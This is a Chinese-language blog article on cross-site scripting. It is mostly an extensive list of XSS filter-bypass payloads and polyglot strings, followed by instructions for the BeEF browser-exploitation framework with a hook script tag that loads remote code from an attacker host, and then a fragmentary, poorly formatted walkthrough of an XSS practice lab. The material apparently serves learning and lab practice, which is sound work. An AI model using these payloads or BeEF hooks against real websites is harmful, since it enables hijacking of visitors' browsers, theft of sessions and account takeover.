跨站脚本攻击(Cross Site Script)为了避免与层叠样式表CSS混淆,故称XSS。XSS是指攻击者利用网站没有对用户提交数据进行转义处理或者过滤不足的缺点,进而将一些代码嵌入到web页面中去,使得别的用户访问也好执行相应的嵌入代码,从而盗取用户资料、利用用户身份进行某些动作或对访问者进行病毒侵害等攻击。反射型和存储型XSS的作用一样,只是用户触发形式不同。
XSS类型 | 存储型 | 反射型 | DOM型 |
---|---|---|---|
数据存储 | 数据库 | URL | URL |
输出位置 | HTTP响应中 | HTTP响应中 | 动态构造的DOM节点 |
<sCrIpt>alert(1)</ScRipt>
<scrSCRIPTipt>alert(1)</scrSCRIPTipt>
"" oncliconclickk="alert(1)"
<script x>
<script x>alert('XSS')<script y>
javascript
绕过javas%09cript:alert()
javas%0acript:alert()
javas%0dcript:alert()
< <
> >
= =
( (
) )
magic_quotes_gpc
:针对开启了魔术引号的网站,可通过String.fromCharCode
方法将ASCII转换为字符串# 利用String.fromCharCode方法将 alert("XSS"); 转换为
<script>
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41,59)
</script>
alert`1`
setTimeout`alert\u0028document.domain\u0029`;
<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>
<script>throw onerror=alert,'some string',123,'haha'</script>
<script>throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]</script>
<script>TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']</script>
/
绕过<img/src='1'/onerror=alert(0)>
%0a 替换空格
%0d 替换空格
/**/ 替换空格
alert
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
prompt`${document.domain}`
document.location='java\tscript:alert(1)'
document.location='java\rscript:alert(1)'
document.location='java\tscript:alert(1)'
eval('ale'+'rt(0)');
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
constructor.constructor("aler"+"t(3)")();
[].filter.constructor('ale'+'rt(4)')();
top["al"+"ert"](5);
top[8680439..toString(30)](7);
top[/al/.source+/ert/.source](8);
top['al\x65rt'](9);
open('java'+'script:ale'+'rt(11)');
location='javascript:ale'+'rt(12)';
setTimeout`alert\u0028document.domain\u0029`;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
;
'te' * alert('*') * 'xt';
'te' / alert('/') / 'xt';
'te' % alert('%') % 'xt';
'te' - alert('-') - 'xt';
'te' + alert('+') + 'xt';
'te' ^ alert('^') ^ 'xt';
'te' > alert('>') > 'xt';
'te' < alert('<') < 'xt';
'te' == alert('==') == 'xt';
'te' & alert('&') & 'xt';
'te' , alert(',') , 'xt';
'te' | alert('|') | 'xt';
'te' ? alert('ifelsesh') : 'xt';
'te' in alert('in') in 'xt';
'te' instanceof alert('instanceof') instanceof 'xt';
%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%22%78%73%73%22%29%3B%3C%2F%73%63%72%69%70%74%3E
<a href="javascript:alert("xss")">xss弹窗</a>
javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76'
javascript:([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
Basic payload
<script>alert('XSS')</script>
<scr<script>ipt>alert('XSS')</scr<script>ipt>
"><script>alert('XSS')</script>
"><script>alert(String.fromCharCode(88,83,83))</script>
Img payload
<img src=x onerror=alert('XSS');>
<img src=x onerror=alert('XSS')//
<img src=x onerror=alert(String.fromCharCode(88,83,83));>
<img src=x oneonerrorrror=alert(String.fromCharCode(88,83,83));>
<img src=x:alert(alt) onerror=eval(src) alt=xss>
"><img src=x onerror=alert('XSS');>
"><img src=x onerror=alert(String.fromCharCode(88,83,83));>
Svg payload
<svgonload=alert(1)>
<svg/onload=alert('XSS')>
<svg onload=alert(1)//
<svg/onload=alert(String.fromCharCode(88,83,83))>
<svg id=alert(1) onload=eval(id)>
"><svg/onload=alert(String.fromCharCode(88,83,83))>
"><svg/onload=alert(/XSS/)
HTML5
<body onload=alert(/XSS/.source)>
<input autofocus onfocus=alert(1)>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<keygen autofocus onfocus=alert(1)>
<video/poster/onerror=alert(1)>
<video><source onerror="javascript:alert(1)">
<video src=_ onloadstart="alert(1)">
<details/open/ontoggle="alert`1`">
<audio src onloadstart=alert(1)>
<marquee onstart=alert(1)>
<meter value=2 min=0 max=10 onmouseover=alert(1)>2 out of 10</meter>
<body ontouchstart=alert(1)> // 当手指触摸屏幕时触发
<body ontouchend=alert(1)> // 当手指从屏幕中移走时触发
<body ontouchmove=alert(1)> // 当手指在屏幕中拖动时触发
万能XSS
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
“ onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script><script>alert(1)</script>"><img/id="confirm(1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http://i.imgur.com/P8mL8.jpg">
javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*
javascript://--></script></title></style>"/</textarea>*/<alert()/*' onclick=alert()//>a
javascript://</title>"/</script></style></textarea/-->*/<alert()/*' onclick=alert()//>/
javascript://</title></style></textarea>--></script><a"//' onclick=alert()//>*/alert()/*
javascript://'//" --></textarea></style></script></title><b onclick= alert()//>*/alert()/*
javascript://</title></textarea></style></script --><li '//" '*/alert()/*', onclick=alert()//
javascript:alert()//--></script></textarea></style></title><a"//' onclick=alert()//>*/alert()/*
--></script></title></style>"/</textarea><a' onclick=alert()//>*/alert()/*
/</title/'/</style/</script/</textarea/--><p" onclick=alert()//>*/alert()/*
javascript://--></title></style></textarea></script><svg "//' onclick=alert()//
/</title/'/</style/</script/--><p" onclick=alert()//>*/alert()/*
-->'"/></sCript><svG x=">" onload=(co\u006efirm)``>
<svg%0Ao%00nload=%09((pro\u006dpt))()//
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
javascript:"/*'/*`/*\" /*</title></style></textarea></noscript></noembed></template></script/--><svg/onload=/*<html/*/onmouseover=alert()//>
javascript:"/*\"/*`/*' /*</template></textarea></noembed></noscript></title></style></script>--><svg onload=/*<html/*/onmouseover=alert()//>
javascript:`//"//\"//</title></textarea></style></noscript></noembed></script></template><svg/onload='/*--><html */ onmouseover=alert()//'>`
BeEF(Browser Exploitation Framework)是目前最强大的浏览器开源渗透测试框架,通过XSS漏洞配合JS脚本和Metasploit进行渗透测试;BeEF基于Ruby语言编写,支持图形化界面,操作简单。
启动Apache和BeEF
# BeEF可以在Kali中点击打开,账号密码均为beef
# 访问页面
[*] Web UI: http://127.0.0.1:3000/ui/panel
# 内置脚本
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
攻击:Current Browser > Commands
onclick='alert()' # 单击触发
ondblclick='alert()' # 双击触发
onmousemove='alert()' # 鼠标移入触发
onfocus='alert(1)' # 聚焦触发
oninput='alert()' # 输入触发
# 按键触发
onkeydown='alert()'
onkeyup='alert()'
onkeypress='alert()‘
#'
#"
(#)
<#>
<sCrIpt>
<oNerOr>
#:
alert
hReF
jaVaScript
javascript
:使用JS变换绕过,这里必须在浏览器直接执行(利用空白符如水平制表符HT,换行符LF,回车键CR来截断关键字)?keyword=javas%09cript:alert()
?keyword=javas%0acript:alert()
?keyword=javas%0dcript:alert()
name
后插入Payload?name=</h2><script>alert(1)</script>
"
闭合字符串,再使用</h2>
闭合标签,最后插入Payload123"</h2><script>alert(1)</script>
h2
会把输入的字符全部输出,而下面输入框却不会。如输入以下字符,h2
标签会输出123'111
,而输入框只剩下123
123'111
h2
标签,而是在输入框input
标签。插入Payload点击搜索,然后点击输入框123' onclick='alert(1)
"
闭合。插入Payload后点击搜索,然后点击输入框1" onclick="alert(1)
onclick,onmousemove
等常见事件,主要是把on
替换成了o_n
和<script>
替换成<scr_ipt>
。这里使用a
标签触发javascript
,搜索后点击超链接1"> <a href="javascript:alert(1)">
" ><a HrEf=javascript:alert(1)>
href
和script
,可以双写绕过"><a hrhrefef="javascrscriptipt:alert(1)">
<!-- 原语句 -->
javascript:alert(1)
<!-- 进行HTML编码 -->
javascript:alert(1)
- 过滤`javascript`和双引号`"`变成`"`
- 输入没有`http://`时报错直接
?keyword=javas%09cript:alert('http://')
?keyword=javas%0acript:alert('http://')
?keyword=javas%0dcript:alert('http://')
<form id=search>
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
t_sort
参数时,对应的value
值会变化level10.php?t_link=111
level10.php?t_history=111
level10.php?t_sort=111
autofocus
和onfocus
自动聚焦触发,但是发现有时候不能触发,或者触发了后会一直弹框而不能正常跳转到下一关level10.php?t_sort=" autofocus onfocus="alert(1);
type
属性将该输入框变成button
,覆盖掉原有的hidden
隐藏属性,并使用onclick
事件触发。浏览器传入如下参数后点击按钮即可level10.php?t_sort=" onclick=alert(1) type="button
t_sort
,但是绕过双引号"
无果后放弃,寻找其它注入点t_ref
,通过URL传递参数无效,后来通过ModHeade
插件,尝试在头部添加Referer
,发现出现Value值
" onclick="alert(1)" type="button
t_ua
参数和上一题,可以推测出此处需要修改的是User-Agent
,同样使用上面的插件和Payload,将Referer
修改为User-Agent
即可" onclick="alert(1)" type="button
t_cook
,使用Burp修改Cookie即可,Payload如下:" onclick="alert(1)" type="button
/level15.php?src=1.gif
ng-include
指令用于包含外部的 HTML 文件,包含的内容将作为指定元素的子节点。level15.php?src='level1.php?test=naraku'
level15.php?src=‘level1.php?name=<img src=x onerror=alert(1)>’
/
都转换成了
,使用前面说到的JS变换绕过level16.php?keyword=<img%0asrc=x%0donerror=alert(1)>
Flash
才能看到题目src
属性,然后手动添加事件即可。一开始使用onclick
事件,但是点击后跳转到一个undefined
页面,后使用onmouseover
事件即可level17.php?arg01=a&arg02=b onmouseover=alert(1)
level18.php?arg01=a&arg02=b onmouseover=alert(1)
版权属于:Naraku
本文链接:https://cloud.tencent.com/developer/article/1853430
本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~